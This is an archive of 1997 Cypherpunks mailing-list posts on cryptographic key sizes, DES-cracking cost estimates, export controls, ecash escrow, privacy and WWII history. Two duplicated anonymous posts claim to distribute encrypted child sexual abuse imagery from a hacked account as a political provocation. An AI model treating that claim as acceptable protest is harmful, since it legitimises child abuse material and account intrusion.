In-Reply-To: <19970624175211.9970.qmail@squirrel.owl.de>
Message-ID: <v03020908afd5d3a57f1b@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:52 pm -0400 on 6/24/97, Secret Squirrel wrote:


> If you tell financial experts that making ecash traceable under court
>order is
> goint to make electronic commerce impossible, they'll laugh.  They already
> use systems which are even less private than that.

That's because, like all industrial transaction processes, they're built to
run weak transactions on strong, but private networks. The internet enables
strong transactions on weak, but public networks, which are way cheaper.

Again, *Digital* Commerce *is* Financial Cryptography.

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 24 Jun 1997 23:09:05 +0800
To: trei@process.com
Subject: Re: Comparing Cryptographic Key Sizes
In-Reply-To: <199706241351.OAA04279@hermes>
Message-ID: <199706241449.PAA00198@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Peter Trei <trei@process.com> writes:
> Adam Back <aba@dcs.ex.ac.uk> writes.
> > 56 bit DES is probably roughly similar to 512 bit RSA in hardness to
> > break.
> 
> This is way off. We used ~457,000 MIPS years to search half of the 
> DES keyspace. Factoring a 512 bit modulus using the General Number
> Field Sieve (GNFS) would take about 28,000 MIPS years (see Schneier
> for the exact number - I don't have AC2 at hand)
> 
> Lenstra has estimated that with 500,000 MIPS years, you should be
> able to factor a 600 bit modulus using GNFS, if your workstations 
> had enough memory.

Ah yes.  Well I did read your post on coderpunks where you described
the results of asking Lenstra and looking for ideas for what to break
next, how hard 512 bits was etc.

So... 28,000 MIPs years you say... but that neglects memory.
Lenstra's conclusion was that even 512 bits couldn't be done, from
your post.  So by that measure it is harder (due to memory overhead)
than DES even though theoretically taking less MIPS with 64 mb
workstations.  Also he was unsure about the availability of a large
enough supercomputer to reduce the final matrix.

So any suggestetions of how to summarise the "hardness" of a problem
when it includes memory and cpu costs in as simple terms as possible.
(Bearing in mind the reader in most cases hasn't grasped the
difference between public key crypto and symmetric key, and is
comparing 1024 bit keys to 56 bit keys and probably thinks that it is
1024/56 times harder.)

> > About 10 years ago now Michael Wiener made a design for such a DES
> > breaking machine.  He estimated it would cost $10,000,000 to build a
> > machine which would break a 56 bit DES encrypted message a few hours.
> > His machine was scalable, pay more money, break the key faster, pay
> > less take longer.  The estimate was that could build one with enough
> > DES key searching units to break it in a day for $1,000,000.  That was
> > 10 years ago.  10 years is a long time in the computer industry.
> > Nowadays you build the machine more cheaply as chip technology has
> > progressed, and computers are much faster per $.  Estimates are around
> > $100,000 to build the machine (neglecting hardware engineers
> > consultancy fees).
> 
> Go back and check the numbers - if you don't the journalists will. 
> (I don't have this paper to hand either :-( ) The Wiener paper is 
> much more recent (93?) , and the cost much lower (I think it was 
> about $1M for HW and $500K for development costs, for a 3.5 hour 
> machine).

I think I have his paper as a postscript file, will look.

But what do you think of the extrapolation to todays prices?  $100k?
(Ignoring consultancy fees).

Thanks for the criticisms, more please on readability and
understandability to neophytes!

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 25 Jun 1997 08:02:40 +0800
To: cypherpunks@toad.com
Subject: "writing code"
Message-ID: <3.0.2.32.19970624160027.00962e40@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain




I think that "cypherpunks write code" is best understood with an added
layer of abstraction, e.g., "cypherpunks change the things that bother
them." So I think that "cypherpunks write memes" can be a useful strategy.

But I think it's important to pay attention to which memes are written - do
you mean "Write your Congressperson about this horrible problem!" or "Fuck
the government, fix your own problem(s)!"? Many of the exhortations to the
public consist mostly of "Hey! Get involved! Vote!", even where this
passive "voting" stuff created the very problems which led to the
exhortations. 

Sure, let's write memes. But let's write memes that encourage people to
solve their own problems and avoid the use of unnecessary force. The mess
that Congress is making out of crypto policy and export control should
provide a crystal-clear example of what we're likely to get if we expect
Washington - or local legislatures - to fix our problems. Next year
Congress will probably fuck with E-mail and spam legislation the way it's
screwing up crypto this year. In 1999, they'll have found something else. 

(Also, FYI, there was an implied :) smiley at the end of my message about
three-strikes term limits. It's a cute idea, but I bring it up mostly to
illustrate how pathetic and weak contemporary political thought is - we're
ending up with a legal system which consists of crap like that, announced
at press conferences full of various sympathetic "victims", hosted & funded
by lobbyists paid for by prison-guard unions.) 
 
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 25 Jun 1997 00:25:02 +0800
To: iang@systemics.com
Subject: Re: spook pressure on crypto exports
In-Reply-To: <19970624103615.4100.qmail@aaa.aaa-mainstreet.nl>
Message-ID: <199706241511.QAA00479@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Ian Grigg <iang@systemics.com> writes:
> Bill said:
> > ... and have been trying to work on the Irish...)
> 
> and Adam said:
> > Ireland is new to me.  What's their problem?
> 
> Ditto!  I'd like to know because ...
> 
> > Who's exporting things to attract spook export attention over there? 
> 
> Systemics is an Irish company, and so is Baltimore, and we both
> are 'exporters' depending on one's viewpoint.  

So's SSE (subsidiary of Siemens-Nixdorf).  But that's mostly/all
defense stuff, so they're presumably in thick with the military
intelligence, and export permission would be a snip for them.

> I don't know about Baltimore, but there is not a lot of pressure
> they can put on Systemics, as the majority of the Cryptix effort is
> now handed over to non-Systemics people.  That's the beauty of
> freeware.

Ireland allows intangible export, no permission required, same as UK.
They do say they would like a list of customers after the fact, but
that's just would like, not you are required to give or else.
(Clearly it would be a bit difficult to list the customers off your
open access web page).

For tangible exports you need permission, much as in the UK.  I get
the impression that the `open for business' attitude (love that 10%
corporate tax break, is systemics getting this?) would mean you'd get
an easier time than in the UK.  They promise fast efficient turn
around on export applications.  (Unlike NZ MFAT, reread Peter
Gutmann's story of down under intrigue on http://jya.com/nsazeal.htm
amazing, nearly bankrupted the company!)

> In contrast, I have been told that Ireland represents a prime place
> for this sort of stuff, as there are no restrictions whatever.

I think it's better than say UK.  But clearly not `no restrictions' at
least for tangible exports re above comments.

I don't know how this works out in practice, what they give tangible
export permission to, etc.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Lucas <davidlu@sco.COM>
Date: Tue, 24 Jun 1997 23:35:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Comparing Cryptographic Key Sizes
In-Reply-To: <199706241351.GAA20823@toad.com>
Message-ID: <3.0.2.32.19970624162104.007bb990@middx.x.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 09:52 24/06/97 -6, Peter Trei <trei@process.com> wrote:
>Adam Back <aba@dcs.ex.ac.uk> writes.

<...>

>> About 10 years ago now Michael Wiener made a design for such a DES
>> breaking machine.  He estimated it would cost $10,000,000 to build 
a
>> machine which would break a 56 bit DES encrypted message a few 
hours.
>> His machine was scalable, pay more money, break the key faster, 
pay
>> less take longer.  The estimate was that could build one with 
enough
>> DES key searching units to break it in a day for $1,000,000.  That 
was
>> 10 years ago.  10 years is a long time in the computer industry.
>> Nowadays you build the machine more cheaply as chip technology has
>> progressed, and computers are much faster per $.  Estimates are 
around
>> $100,000 to build the machine (neglecting hardware engineers
>> consultancy fees).
>
>Go back and check the numbers - if you don't the journalists will. 
>(I don't have this paper to hand either :-( ) The Wiener paper is 
>much more recent (93?) , and the cost much lower (I think it was 
>about $1M for HW and $500K for development costs, for a 3.5 hour 
>machine).

Relevant section of AC2 is Table 7.1 (page 153)

The numbers referred to above are slightly out:

In 1995, $1M would give you a machine that would break 56-bit DES in 
an average of 3.5 hours

A $10M machine would break 56-bit DES in an average of 21 minutes

[Double the times for an exhaustive keysearch]

<...>
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM6/l3+Kk4yfQWUNhEQKW2ACgtC4Jpwy7TCPdXdvUkGuXrwiPDUMAoKD6
1XnG5v2Z9gJzQyrwQ8G4mJ1z
=zOLc
-----END PGP SIGNATURE-----

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
               David Lucas - Test Engineer @ SCO Cambridge.
                          E-mail: davidlu@sco.com

 Opinions expressed within this message are my own and do not necessarily
            represent those of my employer * I am not a lawyer
--------------------------------------------------------------------------
        The light at the end of the tunnel is an oncoming train...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Wed, 25 Jun 1997 04:41:38 +0800
To: Lou Poppler <lwp@mail.msen.com>
Subject: Re: Coding || Politics || Diplomacy (was: Radical Roots)
In-Reply-To: <Pine.BSI.3.92.970624130246.17389A-100000@conch.msen.com>
Message-ID: <Pine.LNX.3.94.970624161148.10344I-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 24 Jun 1997, Lou Poppler wrote:

> Cypherpunks write memes!

I like this. Writing effective program code -- computer instructions -- is
important, but so is writing effective language code. Language is
essentially another kind of "code" with its own set of interpreters etc. So
quite possibly the Horsemen "meme," a hardy, propogating viral code, could
be rendered useless when the right antiviral meme is introduced to the
datasphere. William S. Burroughs has already outlined language hacking
details in what I consider to be a seminal proto-cypherpunk text, _The
Electronic Revolution_. Long out of print, but online at
<http://www.hyperreal.com/wsb/elect-rev.html>. 

m

Michael Stutz
http://dsl.org/m/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 25 Jun 1997 07:42:04 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Grand Compromise is Coming
In-Reply-To: <199706242102.OAA31118@slack.lne.com>
Message-ID: <v0310280bafd607388c55@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:13 PM -0700 6/24/97, Adam Back wrote:
>Eric Murray <ericm@lne.com> writes:

>> As Declan notes, Congress is driven to compromise.  The
>> government side can propose ever more draconian laws in order to
>> engineer the 'compromise' to whatever it wants.  On the other side, we
>> are stuck, because we have been asking for things that we really want, not
>> bargaining chips.  Even if we were to ask for bargaining chips that
>> are more than we really want, how much further than completely free
>> crypto can you go?
>
>Oh I dunno.  We could get Tim to give a congressional statement,
>highlighting the interesting consequences of a fully developed crypto
>anarchic society.  That'd put the fear into them.  ('Course the
>problem is we'd never get him to go within 100 miles of the place, and
>he'd probably consider it a waste of time talking to them anyway.)

Actually, I was born in Bethesda, just north or northeast of The Once and
Future Swamp, lived in Maryland and Virginia for half my childhood, and
attended Fairfax County High Schools (Langley, across the woods from the
CIA, of course, and Edison). I've even back back several times, for
conferences and visits; I even drove out to see the NSA in 1991, to help
focus my energies.

(Note: "focus my energies" should not be taken as a euphemism for shaping
my charges.)

But I don't get the point of what would be gained by my testimony. It
wouldn't  help the Cause.

And, as many of us have noted, what is there to compromise about? If one
has religious freedom, for example, and a series of laws are proposed or
passed to limit this religious freedom in some way, what kind of compromise
is even remotely acceptable?

(By the way, I have no heard no good counters to my point that the "use of
crypto in furtherance of a crime" is quite analogous to "freedom of
religion shall not be abridged, but saying a heathen prayer in furtherance
of a crime shall subject the heathen to an additional five years of
imprisonment." This is why I think the "use of a special language or
whispering in furtherance of a crime" provisions of SAFE will probably be
struck down by the Supremes, unless they, too, have forgotten what the
Constitution is all about.)

The First Amendment is all we need to speak in the language of our
choosing, including the languages of whispers, Talegu, Navajo, pig latin,
coded signals, and 4000-bit RSA.

We don't need any "reaffirmations" of this basic right, at least not from
Congress.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMailer<tm@dev.null>
Date: Wed, 25 Jun 1997 06:51:00 +0800
To: cypherpunks@toad.com
Subject: Child Pornography [JPEG]
Message-ID: <199706242232.QAA28191@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



This email contains child pornography encrypted with strong
cryptography using the public key of a federal prisoner.
It is being sent via a chain of anonymous remailers using
strong cryptography to Senators, Congressmen, and Media.
It is originating from a hacked account which was protected
by weak encryption.

What can you do about it? Nothing!
You can pass legislation violating the constitutional rights
of millions of citizens to safeguard their privacy and freedom
of speech--laws against strong encryption--laws against using
anonymity in communications--laws against citizens putting
an anti-government cork in their butt-hole (Government Access
to Korks--GAK) but you can't stop myself and others from
routing around the damage you do to freedom and liberty.

Perhaps you can use the seized computer of the federal 
prisoner to decrypt the enclosed child pornography but
you will not be able to decrypt the stego hidden inside
this message which reveals my identity.
The reason for this is simple--the stego technology I am
using leaves the original graphics file unchanged. It is
a technology that law enforcement does not have access to.
There is an inner circle within society and the government
that does have access to the technology, however, and they
are using it to fight government and corporate fascism.

What can you do?
Pass another law--pass a law which imprisons anyone who
has a thought or technology which is inaccessible to the
scrutiny of government agencies.
"Everything not permitted is forbidden."

What can you do?
Take away all rights and freedoms--imprison everyone.

The constitutional rights and freedoms of the citizens have
been trashed under the pretext of protecting society from
drugs and pornography and numerous other horsemen of the
apocalypse, yet I can drive ten minutes in any direction
and find drugs to purchase and I can find and send pornography 
freely over a variety of medium.

For the record, I acquired the software used to encrypt
the enclosed child pornography from a foreign source while
the U.S. government is ineffectually stifling American
business in order to prevent tools of freedom and privacy 
from being universally available.

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-----END PGP MESSAGE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMailer<tm@dev.null>
Date: Wed, 25 Jun 1997 07:03:23 +0800
To: cypherpunks@toad.com
Subject: Child Pornography [JPEG]
Message-ID: <199706242242.QAA29226@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



This email contains child pornography encrypted with strong
cryptography using the public key of a federal prisoner.
It is being sent via a chain of anonymous remailers using
strong cryptography to Senators, Congressmen, and Media.
It is originating from a hacked account which was protected
by weak encryption.

What can you do about it? Nothing!
You can pass legislation violating the constitutional rights
of millions of citizens to safeguard their privacy and freedom
of speech--laws against strong encryption--laws against using
anonymity in communications--laws against citizens putting
an anti-government cork in their butt-hole (Government Access
to Korks--GAK) but you can't stop myself and others from
routing around the damage you do to freedom and liberty.

Perhaps you can use the seized computer of the federal 
prisoner to decrypt the enclosed child pornography but
you will not be able to decrypt the stego hidden inside
this message which reveals my identity.
The reason for this is simple--the stego technology I am
using leaves the original graphics file unchanged. It is
a technology that law enforcement does not have access to.
There is an inner circle within society and the government
that does have access to the technology, however, and they
are using it to fight government and corporate fascism.

What can you do?
Pass another law--pass a law which imprisons anyone who
has a thought or technology which is inaccessible to the
scrutiny of government agencies.
"Everything not permitted is forbidden."

What can you do?
Take away all rights and freedoms--imprison everyone.

The constitutional rights and freedoms of the citizens have
been trashed under the pretext of protecting society from
drugs and pornography and numerous other horsemen of the
apocalypse, yet I can drive ten minutes in any direction
and find drugs to purchase and I can find and send pornography 
freely over a variety of medium.

For the record, I acquired the software used to encrypt
the enclosed child pornography from a foreign source while
the U.S. government is ineffectually stifling American
business in order to prevent tools of freedom and privacy 
from being universally available.

-----BEGIN PGP MESSAGE-----
Version: PGP for Personal Privacy 5.0
MessageID: gygqk6Zjhr8ssJKvMxDdwQkYiBMJaW22

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=rhiW
-----END PGP MESSAGE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Wed, 25 Jun 1997 08:34:45 +0800
To: tzeruch@ceddec.com
Subject: Re: new money systems
In-Reply-To: <97Jun23.185147edt.32257@brickwall.ceddec.com>
Message-ID: <199706250027.RAA19105@netcom15.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



note: one respondent on this subject claimed that my references
to the money system only applied to the US. in fact I believe
they apply to any country that is paying interest on government
bonds!!

>Start with "Money Mischief" by Milton Freidman for an interesting look at
>the role of money.

an interesting book, I think this is one of his I browsed. MF is correct
in some ways but I believe he is off the mark in others. gold has a  key 
advantage over money printed by a government in that it can't be
counterfeited even by that government.  

it is clear to me at this point that any government that pays interest
on its bonds without loaning out that money is actually counterfeiting
its own currency. this interest paid on bonds is the direct 
cause of inflation.

>Money has three functions:

of course all three are interchangeable in a complete economy.

>If anyone was to adopt a 1920's lifestyle (few cars, no telephone or
>electricity, no indoor plumbing in many places) they would have plenty
>left over.  As long as consumption is the goal, you can keep working
>longer to satisfy more marginal wants.  If I can convince a couple that
>they "need" two luxury cars, they will work the longer hours.  If they are
>satisfied with something less, they may get by with only one earner. 

no, actually I think that this is not entirely true-- even measured for this
factor, our money has lost force. consider some job that has not 
changed in nature since then, say plumbing or farming. I believe on
average that today's plumber or farmer must work harder than the 20's
farmer to achieve the same lifestyle. in fact this can be proven 
mathematically in a post I'm working on.

>
>We work "harder" and have less free time only in the sense that we prefer
>working longer hours and having expensive things and less free time to
>working shorter hours and having more free time.

a reasonable hypothesis, and partly correct imho.

>It is called economic inefficiency (the electrical analogy might be
>resistance).  If tarriffs are imposed on an import, I end up paying the
>domestic producers a little more.  If some regulation forces an employer
>to spend $100,000 printing manuals or something, he is spending that to
>satisfy the government and not me.  And then there is the obvious "tax",
>which you pay regardless of who sends the actual amount to the government
>(e.g. the "employer's" half of FICA).

what I am trying to imply in the post is that there is actually a hidden
resistance on our money that is not reflected in the fees that various
entities charge.  this is inflation, and it it can be totally controlled,
despite whatever lies the Fed tells the public.

>The problem is one of exchange.  A local currency (banks used to issue
>their own notes) is only good in that locality.  How do I buy a California
>pistachio with Michigan Money?  Or with British Pounds for that matter. 
>In all cases you get an exchange rate.  There will be a varying ratio
>between any two given fiat currencies, and even two currencies based on
>(i.e. redeemable in) different commodities.

so what? I understand this obvious and trivial point.

>But all the above won't fix any of your above points.  You will work
>harder and be taxed on barter points, hamburger coupons, or anything else
>based on their (hopefully discounted) value in dollars.  I will still have
>to spend more of whatever to get a car with an airbag which I don't want.

a local economy can have a currency, and ask the question, "why is 
value being extracted from our local economy when it is a self-sustaining
unit"? the idea behind a local currency actually encourages local
autonomy/sovereignty/independence.

>The only reason we have national currencies is because nations have
>different ideas about how large their inflation rates and defecits should
>be and about trade.  That way they can control the supply of that currency
>and require changing into that currency to do trade.

the reason is that, imho, a set of greedy people have realized they
can enslave the population of an entire country by manipulating the
currency supply.

>Having 1000 other currencies would mean that each currency would have a
>fluctuating value relative to each other (great if you are an
>arbitrageur), 

no, this is not a problem, but a solution. as our world markets show,
it is trivial to convert between currencies and each one acts as a
check and a balance on the other. if a currency declines in value to
another in the market, I will bet you the country whose currency
declined is "counterfeiting its own money" via interest rates paid
on bonds.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Wed, 25 Jun 1997 02:17:29 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Hettinga's e$yllogism
Message-ID: <19970624175211.9970.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



>1. Government has copy of keys
>2. Government misuses keys.
>
>Simple enough for you?

Too simple.  Escrow for ecash isn't to allow forging cash, or stealing it.
It allows tracing it.

If you tell financial experts that making ecash traceable under court order is
goint to make electronic commerce impossible, they'll laugh.  They already
use systems which are even less private than that.

Anon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 24 Jun 1997 20:20:39 +0800
To: Ross Wright <rwright@adnetsol.com>
Subject: Re: spam on this list
In-Reply-To: <199706231604.JAA14744@adnetsol.adnetsol.com>
Message-ID: <Pine.LNX.3.93.970624180347.502D-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 23 Jun 1997, Ross Wright wrote:

[...]

> Spam is free speech...

AOL vs Cyberpromo has a totaly diffrent option on this.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 25 Jun 1997 06:18:14 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: William Just doesn't get it.
In-Reply-To: <199706241938.OAA11409@mailhub.amaranth.com>
Message-ID: <Pine.SUN.3.96.970624175354.8208O-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 24 Jun 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----


Gee thanks for quoting my entire message.  You know, I really love to see
the stuff I wrote before over and over again when I reply to it.  *NOT*.
If you reply, please don't quote the entire messages.  Just what you're
replying to.  


[Mass Snippage]

> How are you going to verify what the government *says* it is doing without
> a mechinism of authenticating of who they are doing it with?

Watch them carefully.  If they do what they're not supposed to do, word
will eventually leak out in most circumstances, not all, and most
certainly not in spool related things.  But leaks do occur.  Watching what
they say and do will give you that info.  Same as any of the reporters
will do.  Ask Declan if need be. :)
 
> How can you verify that the census reports are vailid if you don't know
> who is in the census?

Conduct your own independant census and see how big a difference there is.
If you can't, then conduct random but smaller spot checks and see how they
match.  Count the number of entries in the phone book.  You shouldn't be
too far off from the actual number of residents within an area though
you'd be missing unlisted numbers.

> How can you check and see if the party in power is stuffing the balot
> boxes if you can't confirm who is on the voting rolls??

Ask the voters to anonymously re-vote, take polls.  Etc.
 
> How will you know which John Doe is issued a Medical License without
> additional information being available?

These aren't done by Uncle Sam, they're done by AMA or whatever.  As I
said licenses should be available to you in terms of yes, he's had a
license, or no he ain't got one.
 
> How can you prevent criminal records from being known when all police
> arrests & court procedings are public knowledge?

Court procedings, not criminal records.  Hmmm, caught me there ya did. :)
Good question.  Any other suggestions as to how to protect the privacy of
someone who served their time?

> In your zeal to make public information "private" you are giving the
> government the perfect mechanism to hide all its activities from its
> citizens.

I'm not asking for laws to be passed to "protect" privacy.  I'm asking
that privacy be recognized as one of the inalienable rights.  In other
words, a constitutional amendment much like the 1st that says you have the
right to privacy.  Not necessarily what happens when it is broken.  If
it's broken, you sue Unlce Sam.

I'm not asking for public information to be hidden.  I'm asking for
information that is personal and should be private to be private- i.e. 
driving records, health records, addresses, phone numbers, and
relationship records to be kept private. I'm not asking to hide what the
government does.  

Not all information that is public is personal - such information should
remain public.  The actions of the state, the actions of public
corporations should be public.  Information on citizens should not be made
public WITHOUT their consent.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 25 Jun 1997 09:24:50 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Japan & bombing the US
In-Reply-To: <199706250000.TAA27658@einstein.ssz.com>
Message-ID: <v0310280dafd620346b22@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:00 PM -0700 6/24/97, Jim Choate wrote:
>Hi,
>
>Several people have made comment on the difference between states and
>protectorates of one sort or another in reference to the comment I made
>about Oregon being the only US state to be bombed in WWII. While this is
>technicaly true if you go back and look at the original posting I replied
>too was made in the context of US involvment in the war and how isolated
>we were, so isolated, the claim went, that the Japanese were unable to
>invade or otherwise attack the US.

No, this is incorrectly paraphrasing what I wrote. What I said, very
precisely, was "as there has been no credible threat of attack or invasion
of the states in America in at least 170 years." I was careful to say
"states in America."

I did not mention territories, colonies, canals, foreign embassies, yachts
at sea, protectorates, provinces, zones of influence, allies, or tourists
on vacation.

And I also limited my comments to the events leading up to wars...my
context was clear: that had the U.S. not chosen to enter wars, no states
would have been attacked even later. That the U.S. has entered wars and had
states attacked hardly disputes my point.

Oh, and California was also attacked in WW II. I lived in a town called
Goleta, which was shelled by a Japanese sub. Again, not germane to the
point I made, as this happened after the U.S. entered the war.

(And I believe at least a couple of eastern port cities were shelled.
Certainly saboteurs came ashore in Baltimore and Boston and attempted to
sabotage facilities. Again, no relevance to the point I made.)

>
>While it is true that Oregon was the only area attacked which was a state
>under the context of US possessions being attacked it is false.
>
>The main point here is that the original proposal was incorrect due to more
>than a semantic technicality. This brings the whole issue of the US sitting
>out the war into question. A question I answer strongly in the negative. It
>is not possible that the US could have sat out the war as a neutral.

It wasn't a "semantic technicality," it was a carefully worded statement of
fact.

Half the arguments you get into, Jim, come from your apparent unwillingness
to read carefully.

(I made these points earlier today to Jim in offline mail, but he has
chosen to ignore those points and repeat his flaky readings here on the
main list. Whatever.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 25 Jun 1997 08:40:02 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: How did these people find our list? (fwd)
Message-ID: <199706242354.SAA27633@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 24 Jun 1997 10:30:11 -0400
> From: Duncan Frissell <frissell@panix.com>
> Subject: Re: How did these people find our list? (fwd)

> June 21, 1942, Fort Stevens at the mouth of the Columbia in Oregon is fired 
> upon by the deck gun of a Japanese submarine. The first continental costal 
> battery to be attacked by a foreign enemy (not counting those Southerners) 
> since the War of 1812.  The Japs fire 17 shells. No apparent damage.  Fort 
> Stevens is unable to depress its guns sufficiently to hit the submarine.  A 
> draw.

Two Jap subs were sunk in San Francisco harbor. Unfortunately I can't find
the dates, will keep looking.

> Oregon also suffered the U.S. Mainland's only domestic casualties due to 
> enemy action when a teacher and members of her family on a hike in southern 
> Oregon were killed by a Japanese balloon bomb.  (These bombs were attached to 

Actualy it was a man, his wife, and two children. The two kids were playing
with it when it went off. My memory tells me that the women and two kids
were killed. Don't remember if she was a teacher or not. There was an
interesting video recreation on TDC last month on this incident on a special
on the Japanese balloon bombs.

> balloons released from Japanese submarines off the coast.)

Actualy most of them were released from the Japanese mainland at specific
points. If you do further research on this you will learn how they used the
ballast sand in the balloons (mechanicly complicated) to track their source.
All the sites were bombed and the baloons ceased.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 25 Jun 1997 02:10:00 +0800
To: davidlu@sco.COM
Subject: Wiener paper (was Re: Comparing Cryptographic Key Sizes)
In-Reply-To: <3.0.2.32.19970624162104.007bb990@middx.x.co.uk>
Message-ID: <199706241754.SAA00563@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Re comments that I should re-read the paper, here is what Wiener's
paper says about estimated costs of a specialized DES key breaker:

 $100,000 for a machine to break DES in an average of  35 hrs
 $1 mil   for a machine to break DES in an average of 3.5 hrs
 $10 mil  for a machine to break DES in an average of  21 mins

It was as Peter says published in 1993.

Wiener also budgets for $500,000 in design costs (wages, parts, fab
etc).

Another interesting part of the design is that it is based on a
pipelined chip, clocked at 50Mhz which can try 50 Million keys/sec.

